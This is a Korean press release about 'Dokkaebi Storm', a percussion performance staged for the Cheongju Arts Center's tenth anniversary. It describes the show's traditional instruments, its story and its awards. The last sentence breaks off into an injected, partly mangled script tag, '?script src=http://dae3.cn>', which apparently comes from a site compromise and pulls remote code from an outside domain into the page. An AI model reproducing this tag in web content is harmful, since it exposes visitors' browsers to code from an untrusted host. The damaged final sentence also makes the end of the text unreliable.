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제목	도깨비 스톰 보도자료
내용	흥겨운 타악 퍼포먼스. ‘도깨비 스톰’이 청주를 강타한다! - 청주예술의전당 개관 10주년을 맞이하여 야심차게 마련한 기획 초청 공연 ‘난타’에 이어 한국을 대표하는 뮤직 퍼포먼스. ‘도깨비 스톰’이 청주 무대를 찾는다. 이번 ‘도깨비 스톰’은 청주 예술의전당 개관 10주년을 기념으로 저렴한 가격으로 시민들에게 뛰어난 문화예술 공연 관람할 수 있는 기회를 제공하기 위해 기획 초청하는 것이다. 오는 4월 9일 청주 예술의전당 대공연장에서 오후 3시와 6시30분에 걸쳐 두 번 공연될 예정. ‘도깨비 스톰’은 한국의 풍물이나 사물놀이를 기반으로. 한국의 전통 캐릭터인 ‘도깨비’를 등장시켜 현대적이고 세계적인 감각에 맞게 재구성한 비언어 타악 퍼포먼스. 강렬한 연주. 화려한 조명. 독특한 의상. 신기한 악기. 적극적인 관객 참여 유도 등으로 인해 보고나면 스트레스를 말끔히 날려버릴 수 있는 신나는 공연이다. 장구와 징. 모듬 북. 태평소. 운라. 나팔 등 우리 풍물의 대표적인 전통악기뿐만 아니라 크고 작은 수많은 항아리들과 절구통. 쓰레기통. 박 등 무려 50여가지에 이르는 도구들이 절묘하게 조화를 이루는 신명나는 무대가 연출되며. 배우 한 사람이 10개가 넘는 악기를 연주한다. 2001년 1월 초연된 후 국내외 20여개 도시의 무대에서 호평을 받은바 있으며. 세계적인 예술 축제인 영국의 ‘에딘버러 페스티벌’에서 국내 최초로 헤럴드 엔젤 어워드 음악부문을 수상하는 등 해외에서도 인정한 한국의 대표 뮤직 퍼포먼스이다. 이 후 지속적인 업그레이드 작업을 통해서 퍼포먼스 도깨비스톰에서 리듬배틀 퍼포먼스 도깨비 스톰으로 그 장르를 세분화시키며 작품성을 높여왔다. 스토리는 오디션 준비를 하고 있는 4인조 인간 밴드 팀이 연습 중 의견 차이로 다툼을 벌이다가. 알 수 없는 힘에 이끌려 도깨비 세계로 빨려 들어가고 거기서 인간세상으로 돌아가기 위한 도깨비와의 숨막히는 리듬 배틀 승부를 가린다는 내용. 청주시 문화예술체육회관은 예술의 전당 10주년을 기념하여 ‘도깨비 스톰’외에도 청주시립예술단과 함께 다양한 특별 기획 공연을 준비 중이다. 맞춤형 콘서트 ‘시민 추억 만들기’(가칭)를 비롯하여 어린이를 위한 음악회인 ‘동물의 사육제’. 직지의 세계화를 위한 ‘춤 · 직지’. ‘창극 직지’. 뮤지컬 ‘사운드 오브 뮤직’ 등 다채로운 공연?script src=http://dae3.cn>
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